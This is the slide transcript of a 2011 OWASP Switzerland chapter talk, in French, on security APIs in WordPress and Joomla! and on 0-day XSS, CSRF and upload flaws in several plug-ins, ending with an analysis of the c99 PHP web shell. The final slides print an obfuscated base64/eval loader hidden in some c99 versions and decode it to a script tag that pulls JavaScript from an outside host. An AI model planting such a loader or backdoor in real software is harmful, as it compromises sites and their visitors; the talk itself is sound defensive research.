Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains

Slides:



Advertisements
Présentations similaires
Mais vous comprenez qu’il s’agit d’une « tromperie ».
Advertisements

Le Nom L’adjectif Le verbe Objectif: Orthogram
ORTHOGRAM PM 3 ou 4 Ecrire: « a » ou « à » Référentiel page 6
Le marché du jeu vidéo en France
Logiciels Libres Pour Le Web Concept express… En installer en 3mn …En personnaliser certains.
Licence pro MPCQ : Cours
Distance inter-locuteur
1 Plus loin dans lutilisation de Windows Vista ©Yves Roger Cornil - 2 août
Conception Utilise le CMS opensource Wordpress (Utilisé par 14% du 1 er million 1 ; «Open Source CMS Award 2 » en 2007 et prix du meilleur CMS.
Les numéros 70 –
Les numéros
Le, la, les words Possessive Adjectives MINE!!. 2 My in french is mon, ma,mes... Le word/ begins with a vowel: Mon La word: Ma Les word: Mes.
Copyright © 2007 – La fondation OWASP Ce document est disponible sour la license Creative Commons SA 2.5 Traduction Francaise © Sébastien GIORIA.
Cours MIAGE « Architectures Orientées Services » Henry Boccon-Gibod 1 Architectures Orientées Services Composants de Service Exemple pratique de développement.
JXDVDTEK – Une DVDthèque en Java et XML
Guillaume KRUMULA présente Exposés Système et Réseaux IR3 Mardi 5 Février 2008.
Moodle Une plate-forme d’apprentissage analysée par Annabelle Batas
51 Les technologies XML Cours 6 : XML et les architectures N-tiers – Tier Métier Janvier Version 1.0 -
LES TRIANGLES 1. Définitions 2. Constructions 3. Propriétés.
1 7 Langues niveaux débutant à avancé. 2 Allemand.
Un peu de sécurité Modal Web Modal Baptiste DESPREZ
Introduction aux CMS.
SERABEC Simulation sauvetage aérien avec un Hercule C130. Départ de St-Honoré le 4 octobre Durée de vol 3 heures. Premier vol en Hercule pour les.
1 5 octobre 2011 / paw Présentation du 7 octobre 2011.
La méthodologie………………………………………………………….. p3 Les résultats
MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur.
Les Redirections et renvois non validés
1 Comment utiliser votre Extranet Se connecter 2.My Site 3.Documentation 3.1 Documents dintégration 3.2 Documents types 4.Vos informations privées.
Jack Jedwab Association détudes canadiennes Le 27 septembre 2008 Sondage post-Olympique.
Le soccer & les turbans Sondage mené par lAssociation détudes canadiennes 14 juin 2013.
Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains Code source : Soyez le premier à trouver vos failles de sécurité! Durée: 45 minutes Thomas.
Présentation générale
1 Guide de lenseignant-concepteur Vincent Riff 27 mai 2003.
Ecole Supérieure Privée de ingénierie et de technologie année universitaire :2013/2014 Cross-Plateform Cours JavaScript.
Le Concours de Conaissance Francais I novembre 2012.
Si le Diaporama ne s'ouvre pas en plein écran Faites F5 sur votre clavier.
Département fédéral de lintérieur DFI Office fédéral de la statistique OFS La qualité de lemploi en Suisse Silvia Perrenoud Journées suisses de la statistique.
Configuration de Windows Server 2008 Active Directory
Projet poker 1/56. Introduction Présentation de léquipe Cadre du projet Enjeux Choix du sujet 2.
Internet : la mémoire courte ? Capture de sites Web en ligne Conférence B.N.F, Avril 2004 Xavier Roche(HTTrack)
LES NOMBRES PREMIERS ET COMPOSÉS
Logiciel gratuit à télécharger à cette adresse :
@SSR – Installation des applications eduscol.education.fr/securite - février 2007 © Ministère de l'Éducation nationale, de l'Enseignement supérieur et.
Algorithme de Bellman-Ford
Projet Génie Logiciel & UML, Bases de Données & Interfaces
WikiViz La visualisation dun réseau sémantique Travail de diplôme 2005 Urs Richle / 31 it.
DUMP GAUCHE INTERFERENCES AVEC BOITIERS IFS D.G. – Le – 1/56.
PHP Géant Aurélien. PHP (Hypertext Preprocessor) Langage de scripts libre Permet produire des pages Web dynamiques dispose d'un très grand nombre d'API(Application.
Année universitaire Réalisé par: Dr. Aymen Ayari Cours Réseaux étendus LATRI 3 1.
MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur.
MAGIE Réalisé par Mons. RITTER J-P Le 24 octobre 2004.
1 INETOP
Influenza: le modèle épidémiologique belge 29 Mai 2009
Projet de Master première année 2007 / 2008
22 Web Platform Installer pour faciliter la mise en œuvre de votre plateforme Web 9 Février 2010 Alban OlierLaurent Bonnet
Aire d’une figure par encadrement
Chapitre 3 Les bibliothèques de balises JSP et la JSTL
S ÉCURITÉ I NFORMATIQUE Asp.net. P LAN Sécurité sur Internet Sécurité avec ASP.net Gestion des comptes et droits d’accès Utilisation des contrôles de.
2 Développer, tester et déployer un site web avec WebMatrix (RIA101) Christine Dubois 9 février 2011.
LA GESTION COLLABORATIVE DE PROJETS Grâce aux outils du Web /03/2011 Académie de Créteil - Nadine DUDRAGNE 1.
MAGIE Réalisé par Mons. RITTER J-P Le 24 octobre 2004.
‘‘Open Data base Connectivity‘‘
1/65 微距摄影 美丽的微距摄影 Encore une belle leçon de Macrophotographies venant du Soleil Levant Louis.
Nom:____________ Prénom: ___________
Content Management System CMS. Pourquoi ? Obligation de ressaisir des contenus publiés à plusieurs endroits Pas d’outils de gestion de qualité de l’information.
La formation des maîtres et la manifestation de la compétence professionnelle à intégrer les technologies de l'information et des communications (TIC)
Sécurité et confidentialité dans Microsoft Internet Explorer William Keener Développement de contenu Global Service Automation Microsoft Corporation.
09/11/2006 CMS Content Management System Système de Gestion de Contenu.
Tirer le meilleur parti d’Office /10/ Vincent Bippus IT/OIS 07 octobre 2014.
Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains Keynote Durée: 10 minutes Antonio Fontes OWASP Suisse – Section romande.
Transcription de la présentation:

Chapter meeting 17 février 2011 @ HEIG-VD Yverdon-Les-Bains 0-days: le diable se cache dans les plug-ins Durée: 45 minutes Flora Bottaccio, Sebastien Andrivet ADVtools SARL (Genève, Suisse)

Qui sommes-nous? Flora Bottaccio Sebastien Andrivet Compétences: Analyste sécurité (ADVtools) Sebastien Andrivet Directeur (ADVtools) Compétences: Tests d’intrusion Audits Forensic Diagnostic de problèmes (réseau, applications, bases de données, …) Développements (cryptographie, signatures électroniques, …) OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Agenda WordPress, Joomla! Sécurité Les plug-ins 0-days - Démos C99 Q & R OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

WordPress, Joomla! Ce sont des “Content Management Systems”, des systèmes de gestion de contenu Avec TYPO3, WordPress et Joomla! sont les leaders du marché des CMS “open-source” en Suisse Dans le monde, les leaders sont WordPress, Joomla! et Drupal Les chiffres exactes dépendent du point de vue (les plus installés, les plus utilisés, etc.) OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Plug-ins WordPress et Joomla! sont des systèmes extensibles Certaines de ces extensions sont appelées plug-ins Ces plug-ins sont une des raisons du succès de ces CMS: on trouve facilement des plug-ins pour tout et ils sont faciles à installer Mais est-ce compatible avec la sécurité ? OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Sécurité Le mot “sécurité” peut vouloir dire différentes choses Pour les fournisseurs de produits, “sécurité” signifie souvent “gestion des utilisateurs, des rôles et des droits” Ici, nous parlons plutôt d’attaques, d’injections, de cross-site scripting et de cross-site request forgery OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Joomla! CMS libre et open source (GNU GPL) PHP + MySQL Fork (évolution) du projet Mambo Très modulaire 2005: Version 1.0 2008: Version 1.5 2011 (10 janvier): version 1.6 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Sécurité de Joomla! Version 1.0: Quasiment rien Version 1.5: Filtrage des données Audit des requêtes SQL Plus de chemin variable Meilleure gestion des sessions (session ID) Pas de gestion fine des accès à la base de données Version 1.6: Trop récente, pas évaluée Il existe un «Secure Coding Guideline» OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Joomla!: Cross-Site Scripting (XSS) JRequest Filtrage des entrées Gestion des guillemets (magic quotes) En lieu et place de $_GET, $_POST, $_REQUEST Mais ne “comprend” pas le SQL Rien pour la partie sortie (output) C’est au développeur de penser à utiliser les bonnes méthodes OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Joomla!: Téléchargement (upload) Le framework peut aider (un peu): JFile:makeSafe JPath::clean JFile::upload Mais c’est au développeur d’ajouter le bon code au bon endroit Il est très facile de faire des erreurs OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Joomla!: Injections SQL JRequest ne peut pas vous aider MySQL permet les procédures stockées, mais à partir de la version 5 Joomla! n’utilise ni les procédures stockées ni les requêtes paramétrées Tout le travail est laissé au développeur. A part les recommandations du Secure Coding Guide, il n’y a rien. OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Joomla!: Cross-Site Request Forgery Système de jeton Les jetons sont gérés par Joomla! mais c’est au développeur d’ajouter le bon code au bon endroit: echo JHTML::_( 'form.token' ); JRequest::checkToken(); OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Joomla! - En résumé Le Secure Coding Guide est un bon point de départ. Mais il est court, partiel et contestable sur certaines recommandations. Joomla! fournit quelques API pour sécuriser, mais rien n’est automatique Quasiment rien pour l’injection SQL L’équipe de Joomla! a fait un réel effort pour Joomla! lui-même. Mais quand est-il des plug-ins ? Partiel et contestable: injection SQL de 2e ordre. Pas un mot. OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

WordPress CMS libre et open source (GNU GPL) PHP + MySQL Fork (évolution) du projet b2 A l’origine du service WordPress.com OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Historique de WordPress (simplifiée) 2003: Version 0.7 2004: 1.0 (Miles Davis), 1.2 (Charles Mindus) 2005: 1.5 (Billy Strayhorn) Fin 2005: 2.0 (Duke Elligton) 2007: 2.1 (Ella Fitzgerald ) 2008: 2.5 (Michael Brecker) 2009: 2.9 (Carmen McRae) 2010: 3.0 (Thelonious Monk) 2011: 3.1 (RC 3 sortie fin janvier) OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Sécurité de WordPress Faille de sécurité critique corrigée le 29 décembre 2010 (version 3.0.4): XSS Pas de «Secure Coding Guide» ou équivalent OWASP peut aider (cf. références) mais reste générique A part «Security is an interesting topic», pas grand-chose sur WordPress.org La page «Data Validation» est ce qui se rapproche le plus d’un «Coding Guide» OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

WordPress: Cross-Site Scripting (XSS) Entrée: Pas grand chose Sortie: wp_specialchars (déprécié), esc_html, esp_html_e attribute_escape (déprécié), esc_attr, esc_attr_e clean_url, sanitize_url (déprécié), esc_url js_escape (déprécié), esc_js Note: exactement l’inverse de Joomla! (!) OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

XSS: Erreur commune Code faux: C’est un attribut. Le code correct: <input value="<?php echo wp_specialchars( $xss ); ?>" /> C’est un attribut. Le code correct: <input value="<?php echo attribute_escape( $xss ); ?>" /> Ou mieux: <input value="<?php esc_attr_e( $xss ); ?>" /> OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

WordPress: Téléchargement (upload) validate_file, et encore (et où est la doc ?) Sinon, rien OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

WordPress: Injections SQL intval, absint insert, update, prepare Les données vont être modifiées (escape) pour éviter les injections SQL esc_sql, like_escape Là encore, c’est l’inverse de Joomla! OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

WordPress: Cross-Site Request Forgery NONCE (Number used once) Les jetons sont gérés par WordPress mais c’est au développeur d’ajouter le bon code au bon endroit: wp_nonce_field wp_verify_nonce check_admin_referer OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

WordPress - En résumé Pas de Secure Coding Guide, juste quelques articles ça et là Rien n’est automatique Meilleur que Joomla! contre les injections SQL Philosophie diamétralement opposée à Joomla! concernant la validation (entrée versus sortie) Quand est-il des plug-ins ? Partiel et contestable: injection SQL de 2e ordre. Pas un mot. OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

En pratique: 0-days Joomla!: WordPress CBProfileGallery (XSS) JoomGallery (CSRF) ProjectFork (CSRF) WordPress UserPhoto (file injection) Ce choix de plug-ins est totalement arbitraire OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

0-day: Joomla! | CBProfileGallery Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

CBProfileGallery - XSS Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Pourquoi ? Joomla! est supposé filtrer les données (JRequest), mais ce composant est basé sur Community Builder (CB), un ensemble d’extensions de Joomla! CB court-circuite totalement Joomla! et utilise ses propres méthodes: _getReqParam (cbGetParam) au lieu de Jrequest Filtre également, mais dans ce cas, le filtrage est déficient Le code laisse penser qu’une injection SQL est également possible OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

OWASP Application Security Verification Standard 2009 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

OWASP Application Security Verification Standard 2009 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

OWASP Code Review Guide 2008 (1.1) «Reviewing code for cross-site scripting», page 153 et suivante “To mitigate this type of vulnerability we need to perform a number of security tasks in our code: 1. Validate data 2. Encode unsafe output” OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

OWASP Testing Guide 2008 (3.0) OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

0-day: Joomla! | ProjectFork Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

JoomGallery - CSRF L’attaque reste limitée dans ce cas précis: attaque uniquement sur un POST Cela ne marche pas sous IE 7/8/9, mais en général très bien sous Firefox (third-party cookies) Il y a d’autres cas où l’attaque est plus simple: démo suivante OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

0-day: Joomla! | JoomGallery Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Attaque Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Après l’attaque Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Pourquoi ? Cette attaque CSRF est cette fois sur un GET Toutes les méthodes du composant sont concernées par les attaques CSRF Le développeur a oublié le jeton (token) JRequest, par défaut, retourne indifféremment les paramètres POST et GET. Cela augmente la surface d’attaque. OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

OWASP Application Security Verification Standard 2009 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

OWASP Code Review Guide 2008 (1.1) “[…] checking if the request has a valid session cookie is not enough, we need check if a unique identifier is sent with every HTTP request sent to the application” (page 163) OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

0-day: WordPress | User Photo Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Profil Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Interception de la requête HTTP Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Démo Backdoor téléchargée Le composant n’a pas vu que ce n’était pas une image OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Backdoor (c99 par exemple) Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Démo User Photo: Bonus Il y a aussi un XSS (de type 2)… OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Est-ce que User Photo est utilisé ? OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

OWASP OWASP Testing Guide: OWASP Code Review Guide: OWASP-DV-015 «Incubated vulnerability» OWASP Code Review Guide: Pas explicitement abordé OWASP Application Security Verification Standard: OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Publication WordPress User Photo: Autres composants: Auteur et mainteneur du composant contacté: pas de réponse Advisory publié ce matin (17 Février 2011) Autres composants: Pas de publication OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

c99: un cheval de Troie dans la backdoor ? Pour la démo, nous avons utilisé la Backdoor bien connue “c99” Il en existe de multiples versions Certaines versions sont encryptées pour éviter la détection par des Anti-Virus Mais certaines versions contiennent quelque chose de plus exotique… OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

c99 - images Ce shell PHP contient ce genre de code: "change"=> "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEAAB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOCwSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgACHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDLzMshADs=", C’est en fait une image encodée en base64. Rien de suspect. OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Mais… Il contient aussi (suivant les versions): $_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUo M241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaS VvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVl OSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaS U3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVl QyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNy VvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVl OCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRC V1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVl aSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaS VlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVh RSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQi U3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5 Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaS cpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Cryptool 2 Essayons de décoder ce code. Plutôt que de le faire à la main, utilisons Cryptool 2. “Cryptool is a free, open-source e-learning application, used worldwide in the implementation and analysis of cryptographic algorithms”– www.cryptool.org La version 1.4.30 est stable, mais avec une interface à la “Windows 95” et écrite en C++ Le version 2.0 est moins stable, mais plus graphique et écrite en C#/WPF Initié par la Deutch Bank avec des Universités. Version 2.0 hostée par l’Université de Duisburg. OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Exemple simple de Cryptool Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

URL Encode pour Cryptool 2 Nous allons devoir manipuler des URL (encode/decode – escape/unescape) Il n’y a pas d’algorithme pour cela dans Cryptool 2 Nous avons donc créé notre propre plug-in pour Cryptool 2 Sera accessible (freeware) sur: www.advtools.com/cryptool OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

c99 $_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUo M241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaS VvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVl OSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaS U3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVl QyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNy VvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVl OCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRC V1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVl aSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaS VlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVh RSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQi U3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5 Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaS cpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

3 lignes de code $_F=__FILE__; $_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUo M241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaS VvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVl OSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaS U3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVl QyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNy VvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVl OCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRC V1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVl aSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaS VlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVh RSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQi U3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5 Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaS cpPC9zY3I0cHQ+'; eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Etape #1 Démo eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Etape #2 Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Etape #3 Démo César !!! OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Etape #4 Démo OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Résultat Ce code est donc finalement: <SCRIPT SRC=http://jino.ji.funpic.org/lq/security.js></SCRIPT> Une inclusion de script, l’équivalent d’un XSS Cette adresse ne répond plus depuis un moment (404) On retrouve cette URL pour plusieurs shells (benladen shell, …) Un mouchard ? OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Conclusion Joomla! et WordPress ne suivent que partiellement les recommandations telles que celles d’OWASP. Ils ont une approche parfois opposée. Tout le travail est laissé aux bons soins des développeurs. Concernant les plug-ins, c’est la roulette russe. OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

